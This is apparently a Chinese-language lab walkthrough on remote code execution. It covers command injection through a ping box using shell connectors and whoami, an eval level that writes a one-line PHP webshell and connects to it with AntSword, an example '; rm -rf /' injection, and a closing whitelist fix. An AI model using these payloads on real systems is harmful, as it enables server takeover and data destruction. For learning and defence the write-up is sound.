目录
RCE简介
RCE(Remote Code Execution)远程代码执行 是网络安全中危害性极高的漏洞类型,允许攻击者通过漏洞在目标系统上执行任意代码或命令,从而完全控制服务器或应用程序。
RCE原理
RCE 的核心在于目标系统对外部输入未充分过滤或存在逻辑缺陷,导致攻击者可注入恶意代码。常见成因包括:
-
输入验证缺失
用户输入(如表单、URL参数)未严格过滤,导致代码注入(如eval($_GET['cmd'])
)。 -
命令注入
系统命令拼接用户输入(如os.system("ping " + user_input)
),攻击者注入; rm -rf /
等命令。 -
反序列化漏洞
未安全处理序列化数据(如 Java/Python 反序列化),触发恶意代码。 -
框架/组件漏洞
依赖库或框架存在漏洞(如 Log4j2、Apache Struts)。
靶场第一关——ping命令
此网站给了一个ping命令的输入框,输入网址就会对其进行ping测试
因为靶场是布置在windows下的,所以会有乱码,不过能ping成功就行
在黑盒测试中,由于不知道是windows还是linux,所以用(|,||,&&)这三个连接符
|
(管道符)将前命令的输出作为后命令的输入,无条件执行。
||
(逻辑或)前命令失败时,执行后命令。&&(逻辑与)前命令成功时,执行后命令。
&(命令分隔符),无论前命令是否成功均执行后命令
命令用whoami
whoami
是一个简单但非常重要的命令行工具,用于显示当前登录用户的身份信息。在linux中whoami显示当前用户名,在windows中whoami显示用户完整标识(包括当前登录的域名和用户名)。所以用whoami可以判断操作系统是windows还是linux
判断出操作系统是windows,同时得到了域名和用户名
查看一下源码
代码直接将用户输入的
$ip
拼接到系统命令中,未对输入内容进行合法性校验或转义。
使用 shell_exec()
执行操作系统命令,且拼接用户输入到命令字符串中,形成注入点。
靶场第二关——eval
eval函数的作用是在编程中用于将字符串作为代码来执行
因此这题的意思是系统将用户输入的内容当做代码执行
我们试试看,输入phpinfo();
果然,phpinfo();被执行了
那么我们可以输入一句木马
fputs(fopen('shell.php','w'),'<?php assert($_POST[123]);?>');
执行完成后查看目录,发现木马创建成功
使用蚁剑连接
连接成功
看看源码
直接通过 $_POST['txt']
获取用户输入,未经过滤或限制。
可以增加白名单机制
$input = $_POST['txt'];
if (!preg_match('/^[0-9+\-*\/() ]+$/', $input)) {
die("非法输入!");
}
限制用户输入的内容